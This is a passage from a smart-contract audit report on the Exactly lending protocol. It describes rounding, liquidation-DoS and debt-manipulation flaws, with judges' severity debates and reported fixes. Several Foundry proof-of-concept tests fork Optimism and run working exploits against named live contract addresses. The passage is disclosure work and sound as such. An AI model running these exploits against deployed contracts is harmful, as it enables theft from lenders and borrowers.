    uint256 public optimismFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        optimismFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(optimismFork, vm.activeFork());
    }

    function test_steal_unassigned_earnings() public {
        vm.rollFork(119348257); // Abr 28
        uint256 maturity = 1722470400; // Aug 01
        uint256 liquidity = 100_000e6;
        uint256 borrowAmount = 1e8;
```

```
// Simulate some fixed rate borrows on the WBTC market
deal(address(usdc), address(this), liquidity);
usdc.approve(address(marketUSDC), liquidity);
marketUSDC.deposit(liquidity, address(this));
marketUSDC.auditor().enterMarket(marketUSDC);
marketWBTC.borrowAtMaturity(
    maturity,
    borrowAmount,
    type(uint256).max,
    address(this),
    address(this)
);

// Attacker deposits liquidity and borrows from the same pool
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
deal(address(wbtc), attacker, 1e8);
wbtc.approve(address(marketWBTC), type(uint256).max);
marketWBTC.deposit(1e8, attacker);

// Attacker borrows a tiny amount to round the fee to 0
// Doing it lots of times you end up with a big loan with a fee of 0
for (uint i = 0; i < 20_000; i++) {
    marketWBTC.borrowAtMaturity(
        maturity,
        190,
        type(uint256).max,
        attacker,
        attacker
    );
}

(uint256 principal, uint256 fee) = marketWBTC.fixedBorrowPositions(
    maturity,
    attacker
);

assertEq(principal, 0.038e8); // Loan of 0.038 WBTC (~2400 USD)
assertEq(fee, 0);

// Repay all the loan
uint256 actualRepayAssets = marketWBTC.repayAtMaturity(
    maturity,
    type(uint256).max,
    type(uint256).max,
    attacker
);
```

```
        assertEq(actualRepayAssets, 0.03786283e8); // Repay 0.037 WBTC

        assertGt(principal, actualRepayAssets); // The attacker has repaid the
 ↪  loan of 0.038 WBTC with 0.037 WBTC
    }
}
```

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to not allow borrows with 0 fees from fixed pools. Here is a possible implementation of the fix:

```
    fee = assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365
 ↪  days));
+   require(fee > 0);
```

Discussion

santichez

hey @santipu03 , if I correctly understood the POC, the profit for the attacker is *0.00014 WBTC*, right? Considering a $67_000 WBTC price, that would be$ 10. Note that the attacker should've done 20_000 fixed borrow operations. Can this attack become more profitable? I'd guess you picked WBTC due to the higher value of units and lower decimals.

MehdiKarimi81

Escalate

I think the attack is not viable and it should be invalid, the attacker should make thousands of transactions which seems not profitable paying gas fees for unassigned earnings of the pool, also attacker can't take all unassigned earnings since some part of it goes to earning accumulator

sherlock-admin3

> Escalate
>
> I think the attack is not viable and it should be invalid, the attacker should make thousands of transactions which seems not profitable paying gas fees for unassigned earnings of the pool, also attacker can't take all unassigned earnings since some part of it goes to earning accumulator

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

@santichez In the PoC, the profit for the attacker is 0.001 WBTC (`0.038 - 0.037`), and that is ~67 USD. Given that the protocol is going to be deployed in some L2s, this attack becomes profitable because the gas fees are incredibly cheap, now more with the Dencun upgrade.

The PoC is limited by the current WBTC pool state on the live contracts on Optimism, but it can become even more profitable when the interest rates are higher. When fixed rates are higher, the unassigned earnings on each pool will be higher, so the attacker will be able to steal more funds with the same iterations.

0x73696d616f

Agree that this can not be a high as it is not profitable and it has a very significant number of pre conditions. It is borderline low/medium, but I agree the protocol should always protect itself.

It spends approximately 474883 gas for each borrow (see POC below), which when doing `20_000` times, is `474883*20_000*1e-9 = 9.5 Gwei`, at a gas price of `0.00405` is `9.5*0.00405 = 0.0038 ETH`, which at current 3100 USD / ETH is `11.78` USD.

Now, the attacker in the POC goes from `0.038` WBTC of loan and repays only `0.03786283` WBTC. The difference is `0.00013717`, not `0.001` as @santipu03 mentions. When bitcoin is at a price of 67000, this is `8.2` USD.

So we have settled that this is not profitable. However, it is even worse for the attacker because:

1. Other users will frontrun borrows or worse, the repayment, and steal the fee from the attacker, making him take the loss. Keep in mind that this attack would be sustained for more than 10 minutes so it is likely users will slip in some transactions in between.
2. For this attack to work, it requires having `floatingBackupBorrowed > 0` when borrowing / repaying, which is another pre condition.

3. The gas cost was assumed to be only `474883*20_000`, which is missing the fact that multiple transactions have to be sent and this would significantly increase gas costs.
4. This attack requires 9497660000 gas or `9497660000 / 30e6 = 316` blocks. I highly doubt gas prices would remain so low after filling 316 blocks. And it's likely Optimism would do something about it as it means the network would be congested for more than 10 minutes.

Given all these conditions and the fact that it is not profitable at current prices, this can never be awared a high severity.

```
function test_steal_unassigned_earnings() public {
    vm.rollFork(119348257); // Abr 28
    uint256 maturity = 1722470400; // Aug 01
    uint256 liquidity = 100_000e6;
    uint256 borrowAmount = 1e8;

    // Simulate some fixed rate borrows on the WBTC market
    deal(address(usdc), address(this), liquidity);
    usdc.approve(address(marketUSDC), liquidity);
    marketUSDC.deposit(liquidity, address(this));
    marketUSDC.auditor().enterMarket(marketUSDC);
    marketWBTC.borrowAtMaturity(
        maturity,
        borrowAmount,
        type(uint256).max,
        address(this),
        address(this)
    );

    // Attacker deposits liquidity and borrows from the same pool
    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);
    deal(address(wbtc), attacker, 1e8);
    wbtc.approve(address(marketWBTC), type(uint256).max);
    marketWBTC.deposit(1e8, attacker);

    // Attacker borrows a tiny amount to round the fee to 0
    // Doing it lots of times you end up with a big loan with a fee of 0
    //for (uint i = 0; i < 20_000; i++) {
    uint256 initialGas = gasleft(); //
    marketWBTC.borrowAtMaturity(
        maturity,
        0.038e8,
        type(uint256).max,
        attacker,
        attacker
    );
    uint256 gasSpent = initialGas - gasleft();
    assertEq(474883, gasSpent);
    //}

    (uint256 principal, uint256 fee) = marketWBTC.fixedBorrowPositions(
        maturity,
        attacker
    );

    assertEq(principal, 0.038e8); // Loan of 0.038 WBTC (~2400 USD)
    assertEq(fee, 0);

    // Repay all the loan
    uint256 actualRepayAssets = marketWBTC.repayAtMaturity(
        maturity,
        type(uint256).max,
        type(uint256).max,
        attacker
    );

    assertEq(actualRepayAssets, 0.03786283e8); // Repay 0.037 WBTC

    assertGt(principal, actualRepayAssets); // The attacker has repaid the loan
    ↪   of 0.038 WBTC with 0.037 WBTC
}
```

santipu03

I agree that I didn't take into consideration that the attack cannot be executed in just one block, which reduces the effectiveness of the attack.

Still, this attack has two valid impacts:

1. Grief lenders by taking a fixed loan with 0 interest
2. Repay a loan with a lower amount than borrowed

If @etherSky111 or @santiellena don't want to add more information here, I agree that this issue could be considered medium severity.

cvetanovv

This issue is Medium severity.

As @0x73696d616f wrote in a comment, the attack is not profitable enough to be high, and there are even conditions that reduce the severity. But it is still profitable and allows a malicious user to take a fixed loan with 0 interest.

Planning to accept the escalation and make this issue a Medium.

Evert0x

Result: Medium Has Duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- MehdiKarimi81: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/exactly/protocol/pull/726

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-4: DoS on liquidations when utilization rate is high

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/70

The protocol has acknowledged this issue.

Found by

santipu_

Summary

When a position is liquidated, the liquidator seizes some (or all) of the borrower's assets in compensation for repaying the unhealthy debt. However, when the utilization rate is high in a market, liquidations won't work because of insufficient protocol liquidity.

An attacker could use this bug to frontrun a liquidation transaction by withdrawing assets from a market, bringing the utilization higher and preventing the liquidation.

Vulnerability Detail

In liquidation, one of the last steps is to seize the assets from a borrower and give them to the liquidator. The `seize` function calls `internalSeize` to seize the assets from the borrower:

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L678-L694

```
  function internalSeize(Market seizeMarket, address liquidator, address
↪   borrower, uint256 assets) internal {
    if (assets == 0) revert ZeroWithdraw();

    // reverts on failure
    auditor.checkSeize(seizeMarket, this);

    RewardsController memRewardsController = rewardsController;
    if (address(memRewardsController) != address(0))
↪   memRewardsController.handleDeposit(borrower);
    uint256 shares = previewWithdraw(assets);
>>  beforeWithdraw(assets, shares);
```

```
    // ...
  }
```

The function `internalSeize`, in turn, calls `beforeWithdraw` to update the state of the market before the actual seizing of the assets. The issue is that `beforeWithdraw` checks if the protocol has enough liquidity for the withdrawal of assets:

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L698-L706

```
  function beforeWithdraw(uint256 assets, uint256) internal override
↪   whenNotPaused {
    updateFloatingAssetsAverage();
    depositToTreasury(updateFloatingDebt());
    uint256 earnings = accrueAccumulatedEarnings();
    uint256 newFloatingAssets = floatingAssets + earnings - assets;
    // check if the underlying liquidity that the account wants to withdraw is
↪   borrowed
>>  if (floatingBackupBorrowed + floatingDebt > newFloatingAssets) revert
↪   InsufficientProtocolLiquidity();
    floatingAssets = newFloatingAssets;
  }
```

This check will make the whole liquidation revert when the utilization rate of that market is near the top. An attacker can use this bug to prevent a liquidation of one of his accounts by frontrunning the liquidation and withdrawing liquidity with another account. When that liquidity is withdrawn, the actual liquidation will fail.

Impact

When the utilization rate of a market is high, the liquidations will fail, causing bad debt on the protocol if the price moves against the borrower. Liquidations are a core invariant of any lending protocol and should never fail in order to prevent bad debt, and ultimately, a bank run.

An attacker can use this vulnerability to make his positions not liquidatable by frontrunning a liquidation and withdrawing liquidity from that market with another account.

PoC

The following PoC can be pasted in the `Market.t.sol` file and can be run with the following command `forge test --match-test test_fail_liquidation`.

```
function test_fail_liquidation() external {
    // We set the price of the asset to 0.0002 (1 ETH = 5,000 DAI)
    daiPriceFeed.setPrice(0.0002e18);

    // Simulate deposits on the markets
    market.deposit(50_000e18, ALICE);
    marketWETH.deposit(10e18, address(this));

    // Simulate borrowing on the markets
    vm.startPrank(ALICE);
    market.auditor().enterMarket(market);
    marketWETH.borrow(5e18, ALICE, ALICE);
    vm.stopPrank();

    market.borrow(35_000e18, address(this), address(this));

    // Price falls to 0.00025 (1 ETH = 4,000 DAI)
    daiPriceFeed.setPrice(0.00025e18);

    // Position cannot be liquidated due to insufficient protocol liquidity
    vm.prank(BOB);
    vm.expectRevert(InsufficientProtocolLiquidity.selector);
    market.liquidate(address(this), type(uint256).max, marketWETH);
}
```

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L704

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to not call `beforeWithdraw` in a liquidation and add the logic of `beforeWithdraw` in the `internalSeize` function except for the liquidity check.

Discussion

MehdiKarimi81

Escalate

Consider: There is a reserve factor that prevents borrowing all of the pool assets, For borrowing, the attacker needs to deposit some collateral and since the utilization rate is high, the interest rate would be high and the borrower should pay a huge interest and it doesn't seem to have any profit for the attacker, The liquidator can choose to liquidate from a different market that the user has entered or only liquidate some part of the assets Users deposits add to pool liquidity and prevent DoS

I believe it should be invalid or medium

sherlock-admin3

> Escalate
>
> Consider: There is a reserve factor that prevents borrowing all of the pool assets, For borrowing, the attacker needs to deposit some collateral and since the utilization rate is high, the interest rate would be high and the borrower should pay a huge interest and it doesn't seem to have any profit for the attacker, The liquidator can choose to liquidate from a different market that the user has entered or only liquidate some part of the assets Users deposits add to pool liquidity and prevent DoS
>
> I believe it should be invalid or medium

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santichez

@santipu03 given the POC you provided, if the liquidity check is removed from the liquidation flow, the liquidation will still fail because there are not enough underlying assets to be withdrawn. If the utilization rate is high and a user front-runs the liquidation by withdrawing floating pool deposits from another account, the liquidation will still revert due to insufficient underlying assets and this is a problem we can't escape, same occurs with AAVE or Compound. That's why adjust factor values are important, which might give enough time for the market to arbitrage the rates by itself (other users providing liquidity) and liquidations happening sooner. The liquidity check also ensures that only floating pool deposits are being used when seizing users' collateral. Let's say there's an excess of fixed pool deposits and we don't have the liquidity check, then possibly, the underlying assets of the fixed pool deposits are going to be withdrawn and this is unwanted.

0x73696d616f

> @santipu03 given the POC you provided, if the liquidity check is removed from the liquidation flow, the liquidation will still fail because there are not enough underlying assets to be withdrawn.

This is not true as the protocol can first pay off the debt using the liquidator's assets (it currently does not and it is incorrect, should be fixed). When it does the liquidity check, it uses updated debt values (removed the debt first), but has not yet pulled the debt assets, which is incorrect.

santichez

@0x73696d616f I have just seen your report that I previously missed because it was marked as duplicate and I consider it more valid indeed. I'll jump back to your report asap. My answer to @santipu03 is not inaccurate though, since in the POC we are dealing with a cross-asset liquidation.

santipu03

The fix proposed on #118 will also fix the scenario described in the report on some cases. However, it's still possible (and probable) that liquidations may fail due to the liquidity check when the utilization rate is high.

It's true that even if the liquidity check is removed the transaction would fail due to insufficient funds on the contract. However, the fact that an attacker can make liquidations consistently revert by withdrawing assets is directly breaking a core invariant of a lending protocol. Moreover, this scenario can be given without the need of an attacker, when the market is highly utilized, liquidations will also fail.

etherSky111

The impact of this issue is medium, but the likelihood is low. It can only occur when almost all liquidity is borrowed and the seize market is the same as the borrow market. Therefore, I believe this issue can be classified as low/medium.

0x73696d616f

> The impact of this issue is medium

The impact of DoSing liquidations is high in lending protocols, even more so when users can trigger it.

> but the likelihood is low.

I disagree with this, borrowing most of the liquidity is an expected and accepted state of a lending protocol, so the likelihood is not low.

etherSky111

@Trumpero , could you please also take a look at this as LSW?

I believe that @MehdiKarimi81 described correctly in the escalation. This is really rare case and easy to avoid this as the liquidator(or bot) can choose other market as seize market or partially liquidate.

Trumpero

From my perspective, some protocols have this risk as well, and I thought this was an accepted risk, so I didn't submit this issue. For example, you can look at the Silo protocol, which has the concept of 'deposit-only' assets that can't be borrowed. However, if the market utilization becomes high, these 'deposit-only' assets can still be borrowed. So, I think the likelihood of high utilization is quite small

But I don't negate the possibility of the issue. I think we should leave it to the head judge to decide

santipu03

Even though the likelihood of this issue occurring organically might be medium/low, an attacker can exploit this vulnerability to always prevent getting liquidated.

The attack sequence is the following:

1. Attacker deposits collateral at market A (better if it's highly utilized but it's not necessary)
2. Attacker deposits a ton of collateral with another account at market A.
3. Attacker borrows from whatever market using the first account.
4. When the attacker is going to be liquidated, frontrun txn by withdrawing assets from market A using the second account. Liquidation will fail because of the lack of liquidity.

Note that the attacker can withdraw the maximum liquidity allowed so that the liquidator cannot even liquidate partially. Also, the liquidator cannot seize from another market because the attacker only has collateral at market A. The cost of the attack is low because there's no fee on deposits or withdrawals of collateral, the only cost is the gas spent.

As you can see, the impact is high (liquidation constantly reverts) and the likelihood is also high (the attacker can execute the attack as long as necessary). It perfectly fits in the high severity category according to the Sherlock rules:

> Definite loss of funds without (extensive) limitations of external conditions.

0x73696d616f

Given the fact that bad debt may be socialized by subtracting from the earnings accumulator, there is no need to perform the liquidity check. It just creates more bad debt by delaying the problem further. The correct flow is, if the market is close to not having enough liquidity for liquidations, liquidate the user and socialize the bad debt, if this is the case. It makes no sense to accumulate more bad debt.

If we look at the exact liquidity check:

```
uint256 earnings = accrueAccumulatedEarnings();
uint256 newFloatingAssets = floatingAssets + earnings - assets;
// check if the underlying liquidity that the account wants to withdraw is
↪  borrowed
if (floatingBackupBorrowed + floatingDebt > newFloatingAssets) revert
↪  InsufficientProtocolLiquidity();
```

The liquidity is checked against `accrueAccumulatedEarnings()`. There is room to deduct losses from the earnings accumulator, which is the correct flow to fix the risk.

0x73696d616f

This part here is key

> the liquidator cannot seize from another market because the attacker only has collateral at market A.

The attacker is able to limit the losses of the total position to only a portion of the total collateral (both accounts). Even on market A alone, the only assets that may be seized are that of the account that is borrowing.

etherSky111

> Even though the likelihood of this issue occurring organically might be medium/low, an attacker can exploit this vulnerability to always prevent getting liquidated.
>
> The attack sequence is the following:
>
> 1. Attacker deposits collateral at market A (better if it's highly utilized but it's not necessary)
> 2. Attacker deposits a ton of collateral with another account at market A.
> 3. Attacker borrows from whatever market using the first account.
> 4. When the attacker is going to be liquidated, frontrun txn by withdrawing assets from market A using the second account. Liquidation will fail because of the lack of liquidity.
>
> Note that the attacker can withdraw the maximum liquidity allowed so that the liquidator cannot even liquidate partially. Also, the liquidator cannot seize from another market because the attacker only has collateral at market A. The cost of the attack is low because there's no fee on deposits or withdrawals of collateral, the only cost is the gas spent.

> As you can see, the impact is high (liquidation constantly reverts) and the likelihood is also high (the attacker can execute the attack as long as necessary). It perfectly fits in the high severity category according to the Sherlock rules:
>
> > Definite loss of funds without (extensive) limitations of external conditions.

For the attacker to execute this attack, they would need to deposit the majority of the liquidity in the pool in step 2. This is not a practical attack vector.

When the attacker withdraws their assets, the utilization ratio (UR) becomes high, indicating that the attacker deposited enough liquidity to control the UR of the pool. Therefore, the likelihood of this attack is still low, and its impact is medium.

Should the attackers do these operations in order to just avoid upcoming liquidation?

While your suggested fixes provide some benefits to the protocol, this doesn't mean the issues should be considered high priority. Even low-priority issues require fixes.

MehdiKarimi81

According to sherlock docs: DoS has two separate scores on which it can become an issue:

The issue causes locking of funds for users for more than a week. The issue impacts the availability of time-sensitive functions (cutoff functions are not considered time-sensitive). If at least one of these are describing the case, the issue can be a Medium. If both apply, the issue can be considered of High severity.

Since only second condition is met for this issue it can be considered medium

also consider cost of attack

santipu03

> For the attacker to execute this attack, they would need to deposit the majority of the liquidity in the pool in step 2. This is not a practical attack vector.

That's incorrect, in a highly utilized pool (e.g. 90% utilization), the attacker only needs to own a little bit more than 10% of the total liquidity to execute this attack safely. Currently, in the Exactly live contracts, there are pools with less than 1M total deposited assets, the attacker would just have to own up to 100k of liquidity there to safely execute the attack. The attack can be executed in all pools, but it will need fewer assets when attacking pools with relatively low liquidity and high utilization rates.

As I described before, the attacker can use this vulnerability to make risk-free trades limiting his collateral to a small amount of assets. If prices go up and the attacker makes a profit, there's no need to execute any attack. If prices go down and the attacker can be liquidated, he can make liquidations revert until the prices go up again or until bad debt is created, thus making the rest of the market pay for the losses of that trade.

Given that the attack doesn't actually need any external conditions to be profitable, I believe this issue warrants the high severity.

cvetanovv

I think this issue can remain High severity because it fits the definition given in the documentation:

> Definite loss of funds without (extensive) limitations of external conditions.

The attack is straightforward to execute. A malicious user can easily front-run a liquidation transaction to prevent their own liquidation, and the cost of performing this attack is minimal.

This vulnerability breaks a core contract functionality—liquidation. It allows a malicious user to exploit the system and gain unfair advantages over other users without the risk of being liquidated.

Planning to reject the escalation and leave the issue as is.

etherSky111

What is a definite loss of funds?

I show an example. A attacker deposit some liquidity into the `DAI` pool and borrow `USDC` in other pool. In order to prevent future liquidation, this attacker deposit other liquidity(no need to be huge as you said) into the `DAI` pool using other account. When the price of `DAI` falls and his position becomes liquidatable, he immediatly withdraw his liquidity and increase UR of DAI pool. So his position can't be liquidatable. At this point, his debt is e.x. 1000$ and his collateral is about 1050$. But he will say: "I am happy to prevent the liquidation of my position finally."

Is this a high risk?

And also the duplication of this issue was reported as medium and the lead judge still insist this as high. There are many other issues which was downgraded as medium even though the reporters indeed thought as a high severity. However didn't escalate to avoid complex judge process.

Please check this again.

The pool with high UR (90%) means that this pool is active pool and there are many depositors and liquidity in most cases. In order to prevent any small liquidation, the attacker needs large amount of liquidity in this kind of pool.

I don't think the cost of this attack is minimal.

What is the real benefit for the attacker?

In order to just prevent liquidation, he will need pool with high UR and some liquidity and complex calculation regarding the correct deposit and withdraw amount to make the UR as the limited value of the pool.

santichez

We try not to interfere in the categorization of the severity of the findings, but in my opinion this should not be **high** at all.

santichez

@0x73696d616f #118 was way more valid than this one.

cvetanovv

I'll agree with @etherSky111 arguments and opinions on the protocol.

The attack must happen in an active pool with many depositors and liquidity. This means that many funds are needed, making it unlikely.

I also didn't see much benefit to the attacker for this issue to be of High severity. Even the duplicate that has the same root cause is submitted as Medium.

This issue breaks a core contract functionality—liquidation, but this meets the Medium severity definition.

Planning to accept the escalation and make this issue a Medium severity.

0x73696d616f

@cvetanovv the dup #118 is not a dup as the root cause is different. #118 is transferFrom order, this one is protocol liquidity checks. Only the impact is the same. Since this one was escalated this may still be fixed.

cvetanovv

The root cause is that liquidations won't work when the market is highly utilized, so #118 and #70 will be duplicates.

0x73696d616f

@cvetanovv fixing #70 does not fix #118 and fixing #118 does not fix #70. They are different issues that lead to the same impact.

0x73696d616f

Root cause of #70:

```
if (floatingBackupBorrowed + floatingDebt > newFloatingAssets) revert
InsufficientProtocolLiquidity();
```

Root cause of #118:

`asset.safeTransferFrom(msg.sender, address(this), repaidAssets + lendersAssets);` after transferring the collateral to the liquidator, instead of before.

0x73696d616f

Here is one example of the issues not being dups

The market has 1000 debt 1200 collateral 200 funds are in the market (1000 are borrowed) Now let's say there is a liquidation and 1000 debt is being repaid for 1200 collateral, in the same market.

#118 Debt is repaid first, and is now 0, but funds have not been transferred yet to the market (it only calls `safeTransferFrom()` at the end). Collateral is seized in the same market, a few lines below the debt repayment in `liquidate()`. In `internalSeize()`, `beforeWithdraw()` is called. In `beforeWithdraw()`, there is at the moment 0 debt and 1200 collateral, so the check does not revert (and the utilization, which is debt / collateral is 0, not high as the initial reason for dupping mentioned). Later, back in `internalSeize()`, it tries to send 1200 to the liquidator, but it reverts, as it still only has 200 funds as the funds have not yet been pulled.

Thus, this is not due to the liquidity check, but the wrong tracking of funds due to not having pulling them when the debt has already been reduced to 0. When it transfers the assets to the liquidator, debt is 0, collateral is 1200, but the market only has 200 funds, which is incorrect.

#70 works just fine here Repay debt -> 0 debt Collateral is 1200 still Utilization ratio is 0 (debt/collateral) when the check happens, so there is 0 debt and 1200 collateral and it does not revert. Non issue.

cvetanovv

This comment showed how the utilization ratio could be 0, and we still have an issue nd how the root cause of the issue in #118 is the wrong tracking of funds.

That's why #118 and #70 can be split.

MehdiKarimi81

> According to Sherlock docs: DoS has two separate scores on which it can become an issue:
>
> The issue causes the locking of funds for users for more than a week. The issue impacts the availability of time-sensitive functions (cutoff functions are not considered time-sensitive). If at least one of these are describing the case, the issue can be a Medium. If both apply, the issue can be considered of High severity.
>
> Since only the second condition is met for this issue it can be considered medium

> also consider cost of attack

@cvetanovv What do you think about this? it is a time-sensitive function but doesn't meet the first rule (loss of funds), so it seems to be medium

cvetanovv

@MehdiKarimi81 Yes, in that comment, I wrote that I would accept the escalation, and both issues would be Medium.

cvetanovv

For more clarity, the decision is to accept the escalation and downgrade the severity to Medium.

70 and 118 will be downgraded to Medium severity but will be split as separate issues.

Evert0x

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- MehdiKarimi81: accepted

Issue M-5: Manipulation of the floating debt by updating `floatingBackupBorrowed`

Source:
https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/72

Found by

0x73696d616f, KupiaSec, Shield, santipu_

Summary

An attacker can update the variable `floatingBackupBorrowed` without updating the floating debt. This will change the utilization rate of the market without accruing the past floating debt, thus manipulating the unrealized debt, making it too high, and stealing funds from borrowers.

Vulnerability Detail

The floating interest rate directly depends on the utilization rate of the market, the higher the utilization, the higher the interest rate. Whenever the utilization rate of the market is updated, the floating debt must be accrued before. This is necessary to accrue all debt based on past utilization and not on the updated one to avoid manipulation.

This behavior is correctly implemented whenever we update `floatingDebt` and `floatingAssets`. Before these two values are updated, the past floating debt is accrued, we can check it in the following functions:

- deposit/mint
- withdraw/redeem
- borrow
- repay/refund

However, the utilization rate on the market depends on one more value, and that is the `floatingBackupBorrowed`. The issue is that when this value is updated (in the fixed-pool functions), the floating debt is not updated first. This issue will cause that when the floating debt hasn't been updated in a while, an attacker can update the value of `floatingBackupBorrowed`, manipulating the previously accrued debt, making it higher or lower than it should be.

Currently, 3 functions update the value of `floatingBackupBorrowed` without accruing the floating debt first:

1. `withdrawAtMaturity`
2. `repayAtMaturity`
3. `depositAtMaturity`

With the functions `repayAtMaturity` and `depositAtMaturity`, an attacker could deflate `floatingBackupBorrowed`, thus lowering the past accrued debt and making the borrowers of the floating pool pay less debt than they should.

However, an attacker can also use the function `withdrawAtMaturity` to inflate `floatingBackupBorrowed`, thus artificially incrementing the past accrued debt and making the borrowers of the floating pool pay more debt than they should. This attack would be profitable for the lenders of the floating pool because they'd receive more funds from the borrowers. Moreover, this unexpected jump in the accrued debt could make some borrowers go underwater and get liquidated.

Impact

An attacker can call `withdrawAtMaturity` to inflate the value of `floatingBackupBorrowed` and artificially increment the accrued debt that the borrowers should pay lenders on the floating pool. This attack would profit the floating lenders while causing some borrowers to go into liquidation.

PoC

The following PoC executes this attack on the live contracts of Exactly in the Optimism chain. The test can be pasted into a new file within a forge environment. Also, the `.env` file must include the variable `OPTIMISM_RPC_URL` for the test to run. The test can be executed with the following command:

```
forge test --match-test test_backup_borrowed --evm-version cancun
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import { Market } from "protocol/contracts/Market.sol";
import { InterestRateModel } from "protocol/contracts/InterestRateModel.sol";
import { FixedLib } from "protocol/contracts/utils/FixedLib.sol";
import {Test, console2, console} from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TestMarket is Test {
    Market marketOP = Market(0xa430A427bd00210506589906a71B54d6C256CEdb);
    Market marketUSDC = Market(0x81C9A7B55A4df39A9B7B5F781ec0e53539694873);

    IERC20 optimism = IERC20(0x4200000000000000000000000000000000000042);
    IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);

    uint256 public optimismFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        optimismFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(optimismFork, vm.activeFork());
    }

    function test_backup_borrowed() public {
        vm.rollFork(119348257); // Abr 28
        uint256 maturity = block.timestamp - (block.timestamp % 4 weeks) + 16
↪   weeks;
        uint256 floatingLiquidity = 1_000_000e18;
        uint256 fixedLiquidity = 500_000e18;

        // Malicious user has deposited at variable rate on the OP market
        deal(address(optimism), address(this), floatingLiquidity);
        optimism.approve(address(marketOP), floatingLiquidity);
        marketOP.deposit(floatingLiquidity, address(this));
        marketOP.auditor().enterMarket(marketOP);

        vm.warp(block.timestamp + 2 weeks);

        // Simulate users borrowing from the OP market at fixed and floating rate
        address user = makeAddr("user");
        vm.startPrank(user);
        deal(address(usdc), user, 5_500_000e6);
        usdc.approve(address(marketUSDC), 5_500_000e6);
        marketUSDC.deposit(5_500_000e6, user);
        marketUSDC.auditor().enterMarket(marketUSDC);
        marketOP.borrowAtMaturity(maturity, 500_000e18, type(uint256).max, user,
↪   user);
        marketOP.borrow(500_000e18, user, user);
        vm.stopPrank();

        // Malicious user provides liquidity for the fixed pool
        deal(address(optimism), address(this), fixedLiquidity);
        optimism.approve(address(marketOP), fixedLiquidity);
        uint256 positionAssets = marketOP.depositAtMaturity(maturity,
↪   fixedLiquidity, 0, address(this));
```

```
        vm.warp(maturity - 1 days);

        uint256 floatingLiquidityBefore =
↪   marketOP.previewRedeem(marketOP.balanceOf(address(this)));

        // Malicious user executes the attack (withdraws all from fixed pool
↪   before maturity)
        uint256 assetsDiscounted = marketOP.withdrawAtMaturity(maturity,
↪   positionAssets, 0, address(this), address(this));

        uint256 floatingLiquidityAfter =
↪   marketOP.previewRedeem(marketOP.balanceOf(address(this)));
        uint256 profits = floatingLiquidityAfter - floatingLiquidityBefore;

        // Before the attack, the attacker owned 1,003,236 OP tokens
        assertEq(floatingLiquidityBefore, 1_003_236.895405543416809745e18);

        // After the attack, the attacker owns 1,027,162 OP tokens
        assertEq(floatingLiquidityAfter, 1_027_162.288501014638447865e18);

        // The attacker has made a profit of 23,925 OP tokens
        assertEq(profits, 23_925.393095471221638120e18);

        // The cost of the attack (early withdraw) is 488 OP tokens
        assertEq(positionAssets - assetsDiscounted, 488.538063290105034868e18);
    }
}
```

Note: The values used on the PoC are intentionally chosen or inflated to demonstrate the bug in the implementation, and they do not affect the validity of this issue.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L363

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to accrue the floating debt always before updating the value of `floatingBackupBorrowed`. An example of the implementation fix could be the following:

```
  function depositAtMaturity(
    uint256 maturity,
    uint256 assets,
    uint256 minAssetsRequired,
    address receiver
  ) external whenNotPaused whenNotFrozen returns (uint256 positionAssets) {
    // ...

+   depositToTreasury(updateFloatingDebt());

    floatingBackupBorrowed -= pool.deposit(assets);
    // ...
  }

  function withdrawAtMaturity(
    uint256 maturity,
    uint256 positionAssets,
    uint256 minAssetsRequired,
    address receiver,
    address owner
  ) external whenNotPaused returns (uint256 assetsDiscounted) {
    // ...

+   depositToTreasury(updateFloatingDebt());

    floatingBackupBorrowed = newFloatingBackupBorrowed;

    // ...
  }

  function noTransferRepayAtMaturity(
    uint256 maturity,
    uint256 positionAssets,
    uint256 maxAssets,
    address borrower,
    bool canDiscount
  ) internal returns (uint256 actualRepayAssets) {
    // ...

+   depositToTreasury(updateFloatingDebt());
```

```
    floatingBackupBorrowed -= pool.repay(principalCovered);

    // ...
  }
```

Discussion

santipu03

The root cause of this issue (and its duplicates) is the missing update of floating debt in some key functions such as `depositAtMaturity`, `withdrawAtMaturity`, `noTransferRepayAtMaturity`, and `liquidate`.

Issues that describe the same root cause but fail to describe a valid attack path and a clear impact have been marked invalid.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/exactly/protocol/pull/722

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-6: borrow() maliciously let others to enter market

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/76

Found by

KupiaSec, Shield, Trumpero, bin2chen

Summary

